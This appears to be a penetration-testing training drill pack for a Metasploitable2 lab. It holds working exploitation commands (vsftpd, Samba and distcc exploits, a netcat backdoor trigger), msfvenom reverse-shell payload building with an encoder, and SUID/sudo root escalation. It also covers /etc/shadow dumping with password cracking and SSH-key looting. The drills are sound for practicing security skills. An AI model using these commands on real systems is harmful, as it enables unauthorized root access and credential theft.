Skip to content

Drill Pack 09 — Exploitation & Privilege Escalation

Deep, Practical-style pack for getting a shell and escalating to root. Every challenge has a full solution (exact msfconsole/searchsploit/msfvenom commands, expected output, the exact answer, and a ⚡ faster route). Solve from the recipes in ../challenge-playbooks.md with a timer running; expand the solution only when done or stuck. Theory lives in Module 06 — System Hacking and the tools in ../../kali/09-metasploit.md + ../../kali/14-post-exploitation-pivoting.md. Lab targets only.

Setup. Lab running: Kali 192.168.56.10, Metasploitable2 192.168.56.20 (deliberately vulnerable — vsftpd 2.3.4 backdoor, Samba 3.0.20 usermap_script, distccd, UnrealIRCd 3.2.8.1). Start the Metasploit DB once (sudo msfdb init) and set setg RHOSTS 192.168.56.20 / setg LHOST 192.168.56.10 so you never retype them. Fingerprint first: db_nmap -sV 192.168.56.20.

Score yourself ✅ under target / ⚠️ over time / ❌ needed the solution. Re-drill anything not ✅.


Drill 1 — Find the public exploit with searchsploit ⏱️ 5 min

Q: Your scan shows vsftpd 2.3.4 on port 21 of 192.168.56.20. Find the public exploit for it — what is the EDB-ID of the Metasploit backdoor module?

Solution
searchsploit vsftpd 2.3.4
# ---------------------------------------------- ---------------------------------
#  Exploit Title                                | Path
# ---------------------------------------------- ---------------------------------
#  vsftpd 2.3.4 - Backdoor Command Execution    | unix/remote/49757.py
#  vsftpd 2.3.4 - Backdoor Command Execution (M | unix/remote/17491.rb
searchsploit -p 17491        # show full path + copy to clipboard
**You should see:** two hits — a standalone Python PoC and the Metasploit Ruby module. The filename *is* the EDB-ID (`17491.rb` → EDB-ID **17491**). **Exact answer:** EDB-ID **17491** (Metasploit module) — the Python standalone is **49757**. ⚡ **Faster:** for the other Metasploitable2 services, `searchsploit` the version and read the filename number: | Service (Metasploitable2) | `searchsploit` query | Metasploit module | EDB-ID | |---|---|---|---| | vsftpd 2.3.4 | `searchsploit vsftpd 2.3.4` | `exploit/unix/ftp/vsftpd_234_backdoor` | 17491 | | Samba 3.0.20 | `searchsploit samba usermap` | `exploit/multi/samba/usermap_script` | 16320 | | UnrealIRCd 3.2.8.1 | `searchsploit unrealircd` | `exploit/unix/irc/unreal_ircd_3281_backdoor` | 16922 | | distccd 1.x | `searchsploit distcc` | `exploit/unix/misc/distcc_exec` | 9915 | Copy any PoC out with `searchsploit -m ` (mirror to the current dir).

Drill 2 — Exploit the vsftpd backdoor, read /root ⏱️ 6 min

Q: Exploit the vsftpd 2.3.4 backdoor on 192.168.56.20, list /root, and read /root/reset_logs.sh. What user are you?

Solution
msfconsole -q
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.56.20
msf6 > run
**You should see:**
[+] 192.168.56.20:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.20:21 - UID: uid=0(root) gid=0(root)
[*] Command shell session 1 opened (192.168.56.10 -> 192.168.56.20:6200)
It's a raw shell (no prompt). Confirm who you are and read the file:
id                       # uid=0(root) gid=0(root)
whoami                   # root
ls -la /root ; cat /root/reset_logs.sh
**Exact answer:** you are **`root`** (`uid=0(root) gid=0(root)`) — the backdoor spawns a root shell directly, so there is no payload to set and no privesc needed. ⚡ **Faster:** one-liner — `msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS 192.168.56.20; run"`. No Metasploit needed at all: `nc 192.168.56.20 21`, send `USER pwn:)` then `PASS x`, disconnect, then `nc 192.168.56.20 6200` → you land on the root shell the backdoor opened.

Drill 3 — Upgrade a shell to Meterpreter ⏱️ 10 min

Q: Turn a plain command-shell session into a Meterpreter session, then run sysinfo. What OS does the target report?

Solution From the vsftpd shell (Drill 2), drop back to msf and upgrade the session:
# in the shell session:
background               # (or Ctrl+Z) -> returns to msf6 >
msf6 > sessions -l       # note the shell session id, e.g. 1
msf6 > sessions -u 1     # runs post/multi/manage/shell_to_meterpreter
**You should see:** the module push a `linux/x86/meterpreter/reverse_tcp` stage and open a **new** session:
[*] Meterpreter session 2 opened (192.168.56.10:4433 -> 192.168.56.20:...)
Interact and orient yourself:
msf6 > sessions -i 2
meterpreter > getuid          # Server username: root ... (uid=0)
meterpreter > sysinfo
**Exact answer:** `sysinfo` reports **OS: Linux (Ubuntu 8.04)**, architecture **i686/x86**, Computer **metasploitable** — a native Meterpreter running in memory. `getuid` is still root. ⚡ **Faster:** run the post module by hand for control over LPORT — `use post/multi/manage/shell_to_meterpreter; set SESSION 1; run`. If a session already gives Meterpreter (e.g. a Windows exploit), skip this entirely.

Drill 4 — Build a payload with msfvenom and catch it ⏱️ 10 min

Q: Build a reverse-TCP Meterpreter executable with msfvenom, stand up a multi/handler to match, and confirm the callback opens a session.

Solution Build the payload (Windows exe for the lab Windows VM):
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=192.168.56.10 LPORT=4444 -f exe -o /tmp/lab_payload.exe
# You should see: "Payload size: ... bytes"  and  "Saved as: /tmp/lab_payload.exe"
Catch it — the handler payload **must match `-p` exactly**:
msfconsole -q
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.56.10
msf6 > set LPORT 4444
msf6 > run
# [*] Started reverse TCP handler on 192.168.56.10:4444
Run `lab_payload.exe` on the Windows lab VM. **You should see:** `Sending stage ... Meterpreter session 1 opened` — then `getuid` shows the Windows user. **Exact answer:** the handler prints **`Meterpreter session 1 opened`** and drops you at a `meterpreter >` prompt (same session type as Drill 3). ⚡ **Faster / self-contained (no Windows box):** build a Linux ELF and test it on Kali's loopback — `msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o /tmp/p.elf`, set the handler to `linux/x64/meterpreter/reverse_tcp` with `LHOST 127.0.0.1`, then `chmod +x /tmp/p.elf && /tmp/p.elf` in a second terminal → session opens, `getuid` = your Kali user. Add `-e x86/shikata_ga_nai -i 5` to see encoding in action.

Drill 5 — Samba usermap_script → root shell ⏱️ 8 min

Q: Exploit the Samba 3.0.20 usermap_script flaw (CVE-2007-2447) on 192.168.56.20 to get a shell. What user does it run as?

Solution
msf6 > use exploit/multi/samba/usermap_script
msf6 > set RHOSTS 192.168.56.20
msf6 > set LHOST 192.168.56.10
msf6 > run
**You should see:**
[*] Command shell session 1 opened (192.168.56.10:4444 -> 192.168.56.20:139)
The bug injects shell metacharacters through the SMB *username* field into a `system()` call in Samba's `username map script` config — and smbd runs as root, so the injected command runs as root. Confirm:
id        # uid=0(root) gid=0(root)
**Exact answer:** **`root`** (`uid=0`). The default payload is `cmd/unix/reverse_netcat` — a raw shell, no Meterpreter until you `sessions -u`. ⚡ **Faster:** it's the fastest "guaranteed root" module on this box — `msfconsole -q -x "use exploit/multi/samba/usermap_script; set RHOSTS 192.168.56.20; set LHOST 192.168.56.10; run"`. No creds and no `check` needed; the injection is unauthenticated.

Drill 6 — distcc → shell (a non-root foothold) ⏱️ 8 min

Q: Exploit the distccd service (port 3632, CVE-2004-2687) on 192.168.56.20. What user do you land as — and why is it not root?

Solution
msf6 > use exploit/unix/misc/distcc_exec
msf6 > set RHOSTS 192.168.56.20
msf6 > set LHOST 192.168.56.10
msf6 > run
msf6 > sessions -i 1
id            # uid=1(daemon) gid=1(daemon)
**You should see:** a shell session open, and `id` returns **`uid=1(daemon)`**. **Exact answer:** you are **`daemon`**, *not* root — distccd runs as the unprivileged `daemon` account, so this is a **low-priv foothold**. That is exactly the setup for the privesc drills below: `id` here is uid 1, not 0. ⚡ **Faster:** confirm the daemon is exposed first with `nmap -p3632 -sV 192.168.56.20` (shows `distccd`). This foothold is the honest starting point for Drills 7–9 — from `daemon` you must escalate to reach `/root`.

Drill 7 — SUID binary → root (GTFOBins) ⏱️ 12 min

Q: From the low-priv daemon shell (Drill 6), find a SUID-root binary you can abuse and escalate to root. What is the SUID path, and what command roots you?

Solution Hunt for SUID binaries (the bit that makes a program run **as its owner**, often root):
find / -perm -4000 -type f 2>/dev/null
# /bin/ping  /bin/su  /usr/bin/passwd  /usr/bin/sudo ...  and the interesting one:
# /usr/bin/nmap        <-- legacy nmap with an interactive mode
Look each candidate up on **[GTFOBins](https://gtfobins.github.io/)**. Metasploitable2 ships the old **nmap 4.53** which has an `--interactive` mode that spawns a shell — and because the binary is SUID-root, that shell is root:
nmap --interactive
nmap> !sh
# id  ->  uid=1(daemon) ... euid=0(root)
whoami          # root
**Exact answer:** SUID path = **`/usr/bin/nmap`**; escalate with `nmap --interactive` then `!sh` → **euid=0 (root)**. ⚡ **Faster / portable:** the same trick works for any GTFOBins "SUID" entry. If the box has a SUID `find` (`chmod u+s /usr/bin/find` in many lab setups), one line roots you: `find . -exec /bin/sh -p \; -quit` (the `-p` keeps the elevated euid). Grep the find output against GTFOBins names — `find`, `vim`, `nmap`, `cp`, `bash`, `awk` are the usual wins.

Drill 8 — Sudo privilege escalation ⏱️ 8 min

Q: SSH into 192.168.56.20 as msfadmin (password msfadmin). What is this user allowed to run with sudo, and how do you become root?

Solution
ssh msfadmin@192.168.56.20        # password: msfadmin
sudo -l                            # what may I run as another user?
**You should see:**
User msfadmin may run the following commands on metasploitable:
    (ALL) ALL
`(ALL) ALL` = msfadmin can run **any** command as **any** user, including root. Cash it in:
sudo -i            # or: sudo su -    or: sudo /bin/bash
id                 # uid=0(root) gid=0(root)
**Exact answer:** `sudo -l` returns **`(ALL) ALL`**; `sudo -i` (or `sudo su -`) drops you to a **root** shell. ⚡ **Faster:** when `sudo -l` shows only *one* binary (e.g. `(root) NOPASSWD: /usr/bin/vim`), don't guess — look the binary up on GTFOBins' **Sudo** section. E.g. `sudo vim -c ':!/bin/sh'`, `sudo find . -exec /bin/sh \; -quit`, or `sudo less /etc/profile` then `!sh` all spawn a root shell. `(ALL) ALL` is the jackpot; a single NOPASSWD binary is usually just as good.

Drill 9 — Read a root-only file ⏱️ 6 min

Q: Now that you're root (any route above), read the root-only /etc/shadow and pull out the root password hash line. What is it (and what hash type)?

Solution `/etc/shadow` is mode `640 root:shadow` — unreadable as a normal user, readable now:
id                       # confirm uid=0 first
head -1 /etc/shadow      # the root line
grep '^root:' /etc/shadow
**You should see** the root entry (stock Metasploitable2 image):
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
**Exact answer:** the root hash field = **`$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.`** — the `$1$` prefix means **md5crypt** (salt `/avpfBJ1`). The exact string depends on your image; read *your* output. Feed it straight to cracking:
echo 'root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::' > sh.txt
john --format=md5crypt sh.txt --wordlist=/usr/share/wordlists/rockyou.txt
# or hashcat -m 500 (strip everything but the hash field first)
**Loot the rest** while you're root: `cat /etc/shadow` (all hashes), `cat /root/.bash_history`, `find / -name id_rsa 2>/dev/null` (SSH keys = more hosts). ⚡ **Faster:** if the challenge just wants "read the file," `cat /etc/shadow` is the whole answer — the hash *is* the artifact. To answer a "what's root's shell?" variant instead, `grep '^root:' /etc/passwd` → `/bin/bash`. From Meterpreter you can skip `cat` entirely with `hashdump` (Windows) or `download /etc/shadow`.

Score yourself

# Drill Target ✅ / ⚠️ / ❌
1 searchsploit → EDB-ID 5 min
2 vsftpd backdoor → root, read /root 6 min
3 Upgrade shell → Meterpreter (sysinfo) 10 min
4 msfvenom payload + multi/handler 10 min
5 Samba usermap_script → root 8 min
6 distcc → low-priv (daemon) foothold 8 min
7 SUID binary → root (GTFOBins) 12 min
8 Sudo privesc (sudo -l → root) 8 min
9 Read root-only file (/etc/shadow) 6 min

Log ✅/⚠️/❌ in ../../PROGRESS.md and re-run every ⚠️/❌ until it's ✅ cold. Rule: always run id right after a shell lands — the answer to "what user are you?" is one command, and it decides whether you exploit next or escalate first.

Sources

  • Metasploit official documentation — https://docs.metasploit.com/
  • Offensive Security — Metasploit Unleashed (free course) — https://www.offsec.com/metasploit-unleashed/
  • Rapid7 — msfvenom reference — https://docs.rapid7.com/metasploit/msfvenom/
  • Exploit-DB / searchsploit — https://www.exploit-db.com/searchsploit
  • GTFOBins (Unix SUID/sudo/binary abuse) — https://gtfobins.github.io/
  • Rapid7 — Metasploitable 2 exploitation guide — https://docs.rapid7.com/metasploit/metasploitable-2/
  • CVE-2007-2447 (Samba usermap_script) — https://nvd.nist.gov/vuln/detail/CVE-2007-2447
  • MITRE ATT&CK — Privilege Escalation (TA0004) — https://attack.mitre.org/tactics/TA0004/